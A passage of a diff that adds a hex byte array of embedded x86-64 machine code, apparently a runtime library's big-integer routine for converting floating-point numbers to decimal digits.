0xc2, 0x73, 0x07, 0x42, 0x8b, 0x4c, 0x85, 0xa4, 0xeb, 0x02, 0x33, + 0xc9, 0xc1, 0xe9, 0x1f, 0x43, 0x8d, 0x04, 0x09, 0x0b, 0xc8, 0x41, 0x8b, + 0xc0, 0x42, 0x89, 0x4c, 0x95, 0xa4, 0x45, 0x3b, 0xc3, 0x0f, 0x84, 0x7b, + 0xff, 0xff, 0xff, 0x8b, 0x55, 0xa0, 0xeb, 0xbe, 0x4c, 0x8b, 0xc3, 0x33, + 0xd2, 0xe8, 0x4a, 0x67, 0xff, 0xff, 0xe8, 0x41, 0xaa, 0xff, 0xff, 0xc7, + 0x00, 0x22, 0x00, 0x00, 0x00, 0xe8, 0x16, 0xa9, 0xff, 0xff, 0x44, 0x8b, + 0xa5, 0x70, 0x01, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x40, 0xb8, 0xcd, 0xcc, + 0xcc, 0xcc, 0x85, 0xc9, 0x0f, 0x88, 0xd9, 0x04, 0x00, 0x00, 0xf7, 0xe1, + 0x8b, 0xc2, 0x48, 0x8d, 0x15, 0x67, 0x3c, 0xff, 0xff, 0xc1, 0xe8, 0x03, + 0x89, 0x44, 0x24, 0x50, 0x8b, 0xc8, 0x89, 0x44, 0x24, 0x48, 0x85, 0xc0, + 0x0f, 0x84, 0xc8, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x26, 0x00, 0x00, 0x00, + 0x41, 0x3b, 0xc8, 0x8b, 0xc1, 0x41, 0x0f, 0x47, 0xc0, 0x89, 0x44, 0x24, + 0x4c, 0xff, 0xc8, 0x8b, 0xf8, 0x0f, 0xb6, 0x8c, 0x82, 0xe2, 0x56, 0x01, + 0x00, 0x0f, 0xb6, 0xb4, 0x82, 0xe3, 0x56, 0x01, 0x00, 0x8b, 0xd9, 0x48, + 0xc1, 0xe3, 0x02, 0x33, 0xd2, 0x4c, 0x8b, 0xc3, 0x8d, 0x04, 0x0e, 0x48, + 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, 0x89, 0x85, 0x40, 0x03, 0x00, 0x00, + 0xe8, 0xbb, 0x66, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0x04, 0x3c, 0xff, 0xff, + 0x48, 0xc1, 0xe6, 0x02, 0x0f, 0xb7, 0x84, 0xb9, 0xe0, 0x56, 0x01, 0x00, + 0x48, 0x8d, 0x91, 0xd0, 0x4d, 0x01, 0x00, 0x48, 0x8d, 0x8d, 0x44, 0x03, + 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x48, 0x03, 0xcb, 0x48, 0x8d, 0x14, 0x82, + 0xe8, 0xeb, 0x6a, 0xff, 0xff, 0x44, 0x8b, 0x95, 0x40, 0x03, 0x00, 0x00, + 0x45, 0x3b, 0xd7, 0x0f, 0x87, 0x9a, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x44, + 0x03, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x0f, 0x45, 0x33, 0xe4, 0x44, 0x89, + 0xa5, 0x70, 0x01, 0x00, 0x00, 0xe9, 0xfa, 0x02, 0x00, 0x00, 0x41, 0x3b, + 0xc7, 0x0f, 0x84, 0xf1, 0x02, 0x00, 0x00, 0x45, 0x85, 0xe4, 0x0f, 0x84, + 0xe8, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xd0, 0x45, 0x33, + 0xc9, 0x42, 0x8b, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xc0, + 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, + 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x03, + 0xcf, 0x45, 0x3b, 0xcc, 0x75, 0xd7, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0xa6, + 0x02, 0x00, 0x00, 0x83, 0xbd, 0x70, 0x01, 0x00, 0x00, 0x73, 0x73, 0x1a, + 0x8b, 0x85, 0x70, 0x01, 0x00, 0x00, 0x44, 0x89, 0x84, 0x85, 0x74, 0x01, + 0x00, 0x00, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x45, 0x03, 0xe7, + 0xeb, 0x84, 0x45, 0x33, 0xe4, 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, 0x00, + 0x32, 0xc0, 0xe9, 0x7c, 0x02, 0x00, 0x00, 0x45, 0x3b, 0xe7, 0x0f, 0x87, + 0xad, 0x00, 0x00, 0x00, 0x8b, 0x9d, 0x74, 0x01, 0x00, 0x00, 0x4d, 0x8b, + 0xc2, 0x49, 0xc1, 0xe0, 0x02, 0x45, 0x8b, 0xe2, 0x44, 0x89, 0x95, 0x70, + 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x40, 0xb8, 0xcc, 0x01, 0x00, + 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x4c, 0x3b, 0xc0, 0x77, + 0x0e, 0x48, 0x8d, 0x95, 0x44, 0x03, 0x00, 0x00, 0xe8, 0xff, 0x69, 0xff, + 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, 0x33, 0xd2, 0xe8, 0x93, 0x65, 0xff, + 0xff, 0xe8, 0x8a, 0xa8, 0xff, 0xff, 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, + 0xe8, 0x5f, 0xa7, 0xff, 0xff, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, + 0x85, 0xdb, 0x0f, 0x84, 0x03, 0xff, 0xff, 0xff, 0x41, 0x3b, 0xdf, 0x0f, + 0x84, 0x03, 0x02, 0x00, 0x00, 0x45, 0x85, 0xe4, 0x0f, 0x84, 0xfa, 0x01, + 0x00, 0x00, 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xd3, 0x45, 0x33, 0xc9, 0x42, + 0x8b, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xc0, 0x49, 0x0f, + 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, 0x8c, 0x8d, + 0x74, 0x01, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x03, 0xcf, 0x45, + 0x3b, 0xcc, 0x75, 0xd7, 0xe9, 0x0d, 0xff, 0xff, 0xff, 0x45, 0x3b, 0xd4, + 0x48, 0x8d, 0x95, 0x74, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xdc, 0x48, 0x8d, + 0x8d, 0x44, 0x03, 0x00, 0x00, 0x48, 0x0f, 0x43, 0xca, 0x4c, 0x8d, 0x85, + 0x44, 0x03, 0x00, 0x00, 0x41, 0x0f, 0x42, 0xda, 0x48, 0x89, 0x4c, 0x24, + 0x58, 0x0f, 0x92, 0xc0, 0x89, 0x5c, 0x24, 0x44, 0x48, 0x8d, 0x95, 0x74, + 0x01, 0x00, 0x00, 0x49, 0x0f, 0x43, 0xd0, 0x84, 0xc0, 0x48, 0x89, 0x54, + 0x24, 0x38, 0x45, 0x0f, 0x45, 0xd4, 0x45, 0x33, 0xe4, 0x45, 0x33, 0xc9, + 0x44, 0x89, 0xa5, 0x10, 0x05, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x16, + 0x01, 0x00, 0x00, 0x42, 0x8b, 0x34, 0x89, 0x85, 0xf6, 0x75, 0x21, 0x45, + 0x3b, 0xcc, 0x0f, 0x85, 0xf9, 0x00, 0x00, 0x00, 0x42, 0x21, 0xb4, 0x8d, + 0x14, 0x05, 0x00, 0x00, 0x45, 0x8d, 0x61, 0x01, 0x44, 0x89, 0xa5, 0x10, + 0x05, 0x00, 0x00, 0xe9, 0xe1, 0x00, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x45, + 0x8b, 0xc1, 0x45, 0x85, 0xd2, 0x0f, 0x84, 0xbe, 0x00, 0x00, 0x00, 0x41, + 0x8b, 0xd9, 0xf7, 0xdb, 0x41, 0x83, 0xf8, 0x73, 0x74, 0x5d, 0x41, 0x8b, + 0xf8, 0x45, 0x3b, 0xc4, 0x75, 0x12, 0x83, 0xa4, 0xbd, 0x14, 0x05, 0x00, + 0x00, 0x00, 0x41, 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, + 0x41, 0x8d, 0x04, 0x18, 0x45, 0x03, 0xc7, 0x8b, 0x14, 0x82, 0x41, 0x8b, + 0xc3, 0x48, 0x0f, 0xaf, 0xd6, 0x48, 0x03, 0xd0, 0x8b, 0x84, 0xbd, 0x14, + 0x05, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x8d, 0x04, 0x18, 0x4c, 0x8b, + 0xda, 0x89, 0x94, 0xbd, 0x14, 0x05, 0x00, 0x00, 0x44, 0x8b, 0xa5, 0x10, + 0x05, 0x00, 0x00, 0x49, 0xc1, 0xeb, 0x20, 0x41, 0x3b, 0xc2, 0x74, 0x07, + 0x48, 0x8b, 0x54, 0x24, 0x38, 0xeb, 0x9d, 0x45, 0x85, 0xdb, 0x74, 0x4d, + 0x41, 0x83, 0xf8, 0x73, 0x0f, 0x84, 0xcd, 0x01, 0x00, 0x00, 0x41, 0x8b, + 0xd0, 0x45, 0x3b, 0xc4, 0x75, 0x12, 0x83, 0xa4, 0x95, 0x14, 0x05, 0x00, + 0x00, 0x00, 0x41, 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, + 0x8b, 0x84, 0x95, 0x14, 0x05, 0x00, 0x00, 0x45, 0x03, 0xc7, 0x41, 0x8b, + 0xcb, 0x48, 0x03, 0xc8, 0x89, 0x8c, 0x95, 0x14, 0x05, 0x00, 0x00, 0x44, + 0x8b, 0xa5, 0x10, 0x05, 0x00, 0x00, 0x48, 0xc1, 0xe9, 0x20, 0x44, 0x8b, + 0xd9, 0x85, 0xc9, 0x75, 0xb3, 0x8b, 0x5c, 0x24, 0x44, 0x41, 0x83, 0xf8, + 0x73, 0x0f, 0x84, 0x7c, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, + 0x48, 0x8b, 0x54, 0x24, 0x38, 0x45, 0x03, 0xcf, 0x44, 0x3b, 0xcb, 0x0f, + 0x85, 0xea, 0xfe, 0xff, 0xff, 0x45, 0x8b, 0xc4, 0x49, 0xc1, 0xe0, 0x02, + 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x40, + 0xb8, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, + 0x4c, 0x3b, 0xc0, 0x77, 0x0e, 0x48, 0x8d, 0x95, 0x14, 0x05, 0x00, 0x00, + 0xe8, 0xeb, 0x67, 0xff, 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, 0x33, 0xd2, + 0xe8, 0x7f, 0x63, 0xff, 0xff, 0xe8, 0x76, 0xa6, 0xff, 0xff, 0xc7, 0x00, + 0x22, 0x00, 0x00, 0x00, 0xe8, 0x4b, 0xa5, 0xff, 0xff, 0x44, 0x8b, 0xa5, + 0x70, 0x01, 0x00, 0x00, 0x41, 0x8a, 0xc7, 0x84, 0xc0, 0x0f, 0x84, 0x08, + 0x01, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8d, 0x15, 0xa2, 0x38, + 0xff, 0xff, 0x2b, 0x4c, 0x24, 0x4c, 0x41, 0xb8, 0x26, 0x00, 0x00, 0x00, + 0x89, 0x4c, 0x24, 0x48, 0x0f, 0x85, 0x42, 0xfc, 0xff, 0xff, 0x8b, 0x44, + 0x24, 0x50, 0x8b, 0x4c, 0x24, 0x40, 0x8d, 0x04, 0x80, 0x03, 0xc0, 0x2b, + 0xc8, 0x74, 0x7d, 0x8d, 0x41, 0xff, 0x8b, 0x84, 0x82, 0x78, 0x57, 0x01, + 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xc6, 0x00, 0x00, 0x00, 0x41, 0x3b, 0xc7, + 0x74, 0x66, 0x45, 0x85, 0xe4, 0x74, 0x61, 0x45, 0x33, 0xc0, 0x44, 0x8b, + 0xd0, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, + 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, 0x8b, + 0xc1, 0x42, 0x89, 0x8c, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x49, 0xc1, 0xe8, + 0x20, 0x45, 0x03, 0xcf, 0x45, 0x3b, 0xcc, 0x75, 0xd7, 0x45, 0x85, 0xc0, + 0x74, 0x23, 0x83, 0xbd, 0x70, 0x01, 0x00, 0x00, 0x73, 0x73, 0x7c, 0x8b, + 0x85, 0x70, 0x01, 0x00, 0x00, 0x44, 0x89, 0x84, 0x85, 0x74, 0x01, 0x00, + 0x00, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x45, 0x03, 0xe7, 0xeb, + 0x65, 0x44, 0x8b, 0xa5, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x75, 0x80, + 0x48, 0x8b, 0xde, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xc2, 0x04, 0x00, 0x00, + 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x44, 0x8d, 0xa4, 0x48, + 0x8d, 0x0c, 0x80, 0x41, 0x8b, 0xc0, 0x4c, 0x8d, 0x04, 0x48, 0x46, 0x89, + 0x44, 0x8d, 0xa4, 0x45, 0x03, 0xcf, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x3b, + 0xce, 0x75, 0xdf, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x04, 0x00, 0x00, + 0x83, 0x7d, 0xa0, 0x73, 0x0f, 0x83, 0x65, 0x04, 0x00, 0x00, 0x8b, 0x45, + 0xa0, 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x01, 0x7d, 0xa0, 0xe9, 0x77, + 0x04, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x44, 0x89, 0xa5, 0x70, 0x01, 0x00, + 0x00, 0xeb, 0x99, 0xf7, 0xd9, 0x4c, 0x8d, 0x05, 0x90, 0x37, 0xff, 0xff, + 0xf7, 0xe1, 0x89, 0x4c, 0x24, 0x4c, 0x8b, 0xc2, 0xc1, 0xe8, 0x03, 0x89, + 0x44, 0x24, 0x38, 0x8b, 0xd0, 0x89, 0x44, 0x24, 0x44, 0x85, 0xc0, 0x0f, + 0x84, 0x8f, 0x03, 0x00, 0x00, 0xb9, 0x26, 0x00, 0x00, 0x00, 0x3b, 0xd1, + 0x8b, 0xc2, 0x0f, 0x47, 0xc1, 0x33, 0xd2, 0x89, 0x44, 0x24, 0x50, 0xff, + 0xc8, 0x8b, 0xf8, 0x41, 0x0f, 0xb6, 0x8c, 0x80, 0xe2, 0x56, 0x01, 0x00, + 0x41, 0x0f, 0xb6, 0xb4, 0x80, 0xe3, 0x56, 0x01, 0x00, 0x8b, 0xd9, 0x48, + 0xc1, 0xe3, 0x02, 0x4c, 0x8b, 0xc3, 0x8d, 0x04, 0x0e, 0x48, 0x8d, 0x8d, + 0x44, 0x03, 0x00, 0x00, 0x89, 0x85, 0x40, 0x03, 0x00, 0x00, 0xe8, 0xdd, + 0x61, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0x26, 0x37, 0xff, 0xff, 0x48, 0xc1, + 0xe6, 0x02, 0x0f, 0xb7, 0x84, 0xb9, 0xe0, 0x56, 0x01, 0x00, 0x48, 0x8d, + 0x91, 0xd0, 0x4d, 0x01, 0x00, 0x48, 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, + 0x4c, 0x8b, 0xc6, 0x48, 0x03, 0xcb, 0x48, 0x8d, 0x14, 0x82, 0xe8, 0x0d, + 0x66, 0xff, 0xff, 0x44, 0x8b, 0x95, 0x40, 0x03, 0x00, 0x00, 0x45, 0x3b, + 0xd7, 0x0f, 0x87, 0x82, 0x00, 0x00, 0x00, 0x8b, 0x85, 0x44, 0x03, 0x00, + 0x00, 0x85, 0xc0, 0x75, 0x0c, 0x45, 0x33, 0xf6, 0x44, 0x89, 0x75, 0xa0, + 0xe9, 0xc2, 0x02, 0x00, 0x00, 0x41, 0x3b, 0xc7, 0x0f, 0x84, 0xb9, 0x02, + 0x00, 0x00, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xb0, 0x02, 0x00, 0x00, 0x45, + 0x33, 0xc0, 0x4c, 0x8b, 0xd0, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x4c, 0x8d, + 0xa4, 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, 0x4c, + 0x8b, 0xc1, 0x42, 0x89, 0x4c, 0x8d, 0xa4, 0x49, 0xc1, 0xe8, 0x20, 0x45, + 0x03, 0xcf, 0x45, 0x3b, 0xce, 0x75, 0xdd, 0x45, 0x85, 0xc0, 0x0f, 0x84, + 0x77, 0x02, 0x00, 0x00, 0x83, 0x7d, 0xa0, 0x73, 0x73, 0x11, 0x8b, 0x45, + 0xa0, 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x8b, 0x75, 0xa0, 0x45, 0x03, + 0xf7, 0xeb, 0x99, 0x45, 0x33, 0xf6, 0x44, 0x89, 0x75, 0xa0, 0x32, 0xc0, + 0xe9, 0x59, 0x02, 0x00, 0x00, 0x45, 0x3b, 0xf7, 0x0f, 0x87, 0x9b, 0x00, + 0x00, 0x00, 0x8b, 0x5d, 0xa4, 0x4d, 0x8b, 0xc2, 0x49, 0xc1, 0xe0, 0x02, + 0x45, 0x8b, 0xf2, 0x44, 0x89, 0x55, 0xa0, 0x4d, 0x85, 0xc0, 0x74, 0x3a, + 0xb8, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xa4, 0x4c, 0x3b, 0xc0, + 0x77, 0x0e, 0x48, 0x8d, 0x95, 0x44, 0x03, 0x00, 0x00, 0xe8, 0x42, 0x65, + 0xff, 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, 0x33, 0xd2, 0xe8, 0xd6, 0x60, + 0xff, 0xff, 0xe8, 0xcd, 0xa3, 0xff, 0xff, 0xc7, 0x00, 0x22, 0x00, 0x00, + 0x00, 0xe8, 0xa2, 0xa2, 0xff, 0xff, 0x44, 0x8b, 0x75, 0xa0, 0x85, 0xdb, + 0x0f, 0x84, 0x27, 0xff, 0xff, 0xff, 0x41, 0x3b, 0xdf, 0x0f, 0x84, 0xec, + 0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xe3, 0x01, 0x00, 0x00, + 0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xd3, 0x45, 0x33, 0xc9, 0x42, 0x8b, 0x4c, + 0x8d, 0xa4, 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, 0x03, 0xc8, + 0x4c, 0x8b, 0xc1, 0x42, 0x89, 0x4c, 0x8d, 0xa4, 0x49, 0xc1, 0xe8, 0x20, + 0x45, 0x03, 0xcf, 0x45, 0x3b, 0xce, 0x75, 0xdd, 0xe9, 0x2e, 0xff, 0xff, + 0xff, 0x45, 0x3b, 0xd6, 0x48, 0x8d, 0x55, 0xa4, 0x41, 0x8b, 0xde, 0x48, + 0x8d, 0x8d, 0x44, 0x03, 0x00, 0x00, 0x48, 0x0f, 0x43, 0xca, 0x4c, 0x8d, + 0x85, 0x44, 0x03, 0x00, 0x00, 0x41, 0x0f, 0x42, 0xda, 0x48, 0x89, 0x4d, + 0x88, 0x0f, 0x92, 0xc0, 0x89, 0x5c, 0x24, 0x48, 0x48, 0x8d, 0x55, 0xa4, + 0x49, 0x0f, 0x43, 0xd0, 0x84, 0xc0, 0x48, 0x89, 0x54, 0x24, 0x58, 0x45, + 0x0f, 0x45, 0xd6, 0x45, 0x33, 0xf6, 0x45, 0x33, 0xc9, 0x44, 0x89, 0xb5, + 0x10, 0x05, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x15, 0x01, 0x00, 0x00, + 0x42, 0x8b, 0x34, 0x89, 0x85, 0xf6, 0x75, 0x21, 0x45, 0x3b, 0xce, 0x0f, + 0x85, 0xf8, 0x00, 0x00, 0x00, 0x42, 0x21, 0xb4, 0x8d, 0x14, 0x05, 0x00, + 0x00, 0x45, 0x8d, 0x71, 0x01, 0x44, 0x89, 0xb5, 0x10, 0x05, 0x00, 0x00, + 0xe9, 0xe0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x45, 0x8b, 0xc1, 0x45, + 0x85, 0xd2, 0x0f, 0x84, 0xbe, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xd9, 0xf7, + 0xdb, 0x41, 0x83, 0xf8, 0x73, 0x74, 0x5d, 0x41, 0x8b, 0xf8, 0x45, 0x3b, + 0xc6, 0x75, 0x12, 0x83, 0xa4, 0xbd, 0x14, 0x05, 0x00, 0x00, 0x00, 0x41, + 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, 0x42, 0x8d, 0x04, + 0x03, 0x45, 0x03, 0xc7, 0x8b, 0x14, 0x82, 0x8b, 0x84, 0xbd, 0x14, 0x05, + 0x00, 0x00, 0x48, 0x0f, 0xaf, 0xd6, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0xc3, + 0x48, 0x03, 0xd0, 0x42, 0x8d, 0x04, 0x03, 0x4c, 0x8b, 0xda, 0x89, 0x94, + 0xbd, 0x14, 0x05, 0x00, 0x00, 0x44, 0x8b, 0xb5, 0x10, 0x05, 0x00, 0x00, + 0x49, 0xc1, 0xeb, 0x20, 0x41, 0x3b, 0xc2, 0x74, 0x07, 0x48, 0x8b, 0x54, + 0x24, 0x58, 0xeb, 0x9d, 0x45, 0x85, 0xdb, 0x74, 0x4d, 0x41, 0x83, 0xf8, + 0x73, 0x0f, 0x84, 0x67, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xd0, 0x45, 0x3b, + 0xc6, 0x75, 0x12, 0x83, 0xa4, 0x95, 0x14, 0x05, 0x00, 0x00, 0x00, 0x41, + 0x8d, 0x40, 0x01, 0x89, 0x85, 0x10, 0x05, 0x00, 0x00, 0x8b, 0x84, 0x95, + 0x14, 0x05, 0x00, 0x00, 0x45, 0x03, 0xc7, 0x41, 0x8b, 0xcb, 0x48, 0x03, + 0xc8, 0x89, 0x8c, 0x95, 0x14, 0x05, 0x00, 0x00, 0x44, 0x8b, 0xb5, 0x10, + 0x05, 0x00, 0x00, 0x48, 0xc1, 0xe9, 0x20, 0x44, 0x8b, 0xd9, 0x85, 0xc9, + 0x75, 0xb3, 0x8b, 0x5c, 0x24, 0x48, 0x41, 0x83, 0xf8, 0x73, 0x0f, 0x84, + 0x16, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x88, 0x48, 0x8b, 0x54, 0x24, + 0x58, 0x45, 0x03, 0xcf, 0x44, 0x3b, 0xcb, 0x0f, 0x85, 0xeb, 0xfe, 0xff, + 0xff, 0x45, 0x8b, 0xc6, 0x49, 0xc1, 0xe0, 0x02, 0x44, 0x89, 0x75, 0xa0, + 0x4d, 0x85, 0xc0, 0x74, 0x3a, 0xb8, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, + 0x4d, 0xa4, 0x4c, 0x3b, 0xc0, 0x77, 0x0e, 0x48, 0x8d, 0x95, 0x14, 0x05, + 0x00, 0x00, 0xe8, 0x45, 0x63, 0xff, 0xff, 0xeb, 0x1a, 0x4c, 0x8b, 0xc0, + 0x33, 0xd2, 0xe8, 0xd9, 0x5e, 0xff, 0xff, 0xe8, 0xd0, 0xa1, 0xff, 0xff, + 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, 0xe8, 0xa5, 0xa0, 0xff, 0xff, 0x44, + 0x8b, 0x75, 0xa0, 0x41, 0x8a, 0xc7, 0x84, 0xc0, 0x0f, 0x84, 0xac, 0x00, + 0x00, 0x00, 0x8b, 0x54, 0x24, 0x44, 0x4c, 0x8d, 0x05, 0xff, 0x33, 0xff, + 0xff, 0x2b, 0x54, 0x24, 0x50, 0xb9, 0x26, 0x00, 0x00, 0x00, 0x89, 0x54, + 0x24, 0x44, 0x0f, 0x85, 0x7e, 0xfc, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x4c, + 0x8b, 0x44, 0x24, 0x38, 0x8d, 0x04, 0x80, 0x03, 0xc0, 0x2b, 0xc8, 0x0f, + 0x84, 0xd7, 0xfb, 0xff, 0xff, 0x8d, 0x41, 0xff, 0x41, 0x8b, 0x84, 0x80, + 0x78, 0x57, 0x01, 0x00, 0x85, 0xc0, 0x74, 0x6a, 0x41, 0x3b, 0xc7, 0x0f, + 0x84, 0xbf, 0xfb, 0xff, 0xff, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0xb6, 0xfb, + 0xff, 0xff, 0x45, 0x33, 0xc0, 0x44, 0x8b, 0xd0, 0x45, 0x33, 0xc9, 0x42, + 0x8b, 0x4c, 0x8d, 0xa4, 0x41, 0x8b, 0xc0, 0x49, 0x0f, 0xaf, 0xca, 0x48, + 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, 0x4c, 0x8d, 0xa4, 0x49, 0xc1, + 0xe8, 0x20, 0x45, 0x03, 0xcf, 0x45, 0x3b, 0xce, 0x75, 0xdd, 0x45, 0x85, + 0xc0, 0x74, 0x1e, 0x83, 0x7d, 0xa0, 0x73, 0x73, 0x21, 0x8b, 0x45, 0xa0, + 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x8b, 0x75, 0xa0, 0x45, 0x03, 0xf7, + 0x44, 0x89, 0x75, 0xa0, 0xe9, 0x67, 0xfb, 0xff, 0xff, 0x44, 0x8b, 0x75, + 0xa0, 0xe9, 0x5e, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x75, 0x80, 0x83, 0x65, + 0xa0, 0x00, 0x48, 0x8b, 0xde, 0xeb, 0x23, 0x83, 0xa5, 0x40, 0x03, 0x00, + 0x00, 0x00, 0x4c, 0x8d, 0x85, 0x44, 0x03, 0x00, 0x00, 0x83, 0x65, 0xa0, + 0x00, 0x48, 0x8d, 0x4d, 0xa4, 0x45, 0x33, 0xc9, 0xba, 0xcc, 0x01, 0x00, + 0x00, 0xe8, 0x9e, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x70, 0x01, 0x00, + 0x00, 0x48, 0x8d, 0x4d, 0xa0, 0xe8, 0x1e, 0xec, 0xff, 0xff, 0x8b, 0x7c, + 0x24, 0x40, 0x83, 0xf8, 0x0a, 0x0f, 0x85, 0x90, 0x00, 0x00, 0x00, 0x41, + 0x03, 0xff, 0xc6, 0x06, 0x31, 0x48, 0x8d, 0x5e, 0x01, 0x45, 0x85, 0xe4, + 0x0f, 0x84, 0x8e, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, + 0x42, 0x8b, 0x84, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0c, 0x80, + 0x41, 0x8b, 0xc0, 0x4c, 0x8d, 0x04, 0x48, 0x46, 0x89, 0x84, 0x8d, 0x74, + 0x01, 0x00, 0x00, 0x45, 0x03, 0xcf, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x3b, + 0xcc, 0x75, 0xd9, 0x45, 0x85, 0xc0, 0x74, 0x5c, 0x83, 0xbd, 0x70, 0x01, + 0x00, 0x00, 0x73, 0x73, 0x17, 0x8b, 0x85, 0x70, 0x01, 0x00, 0x00, 0x44, + 0x89, 0x84, 0x85, 0x74, 0x01, 0x00, 0x00, 0x44, 0x01, 0xbd, 0x70, 0x01, + 0x00, 0x00, 0xeb, 0x3c, 0x83, 0xa5, 0x40, 0x03, 0x00, 0x00, 0x00, 0x4c, + 0x8d, 0x85, 0x44, 0x03, 0x00, 0x00, 0x83, 0xa5, 0x70, 0x01, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x8d, 0x74, 0x01, 0x00, 0x00, 0x45, 0x33, 0xc9, 0xba, + 0xcc, 0x01, 0x00, 0x00, 0xe8, 0xf3, 0x01, 0x00, 0x00, 0xeb, 0x11, 0x85, + 0xc0, 0x75, 0x05, 0x41, 0x2b, 0xff, 0xeb, 0x08, 0x04, 0x30, 0x48, 0x8d, + 0x5e, 0x01, 0x88, 0x06, 0x48, 0x8b, 0x45, 0x90, 0x8b, 0x4c, 0x24, 0x60, + 0x89, 0x78, 0x04, 0x85, 0xff, 0x78, 0x0a, 0x81, 0xf9, 0xff, 0xff, 0xff, + 0x7f, 0x77, 0x02, 0x03, 0xcf, 0x48, 0x8b, 0x85, 0x50, 0x07, 0x00, 0x00, + 0x48, 0xff, 0xc8, 0x8b, 0xf9, 0x48, 0x3b, 0xc7, 0x48, 0x0f, 0x42, 0xf8, + 0x48, 0x03, 0xfe, 0x48, 0x3b, 0xdf, 0x0f, 0x84, 0x0b, 0x01, 0x00, 0x00, + 0x44, 0x8b, 0x55, 0xa0, 0x41, 0xbc, 0x09, 0x00, 0x00, 0x00, 0x45, 0x85, + 0xd2, 0x0f, 0x84, 0xf8, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x45, 0x33, + 0xc9, 0x42, 0x8b, 0x44, 0x8d, 0xa4, 0x48, 0x69, 0xc8, 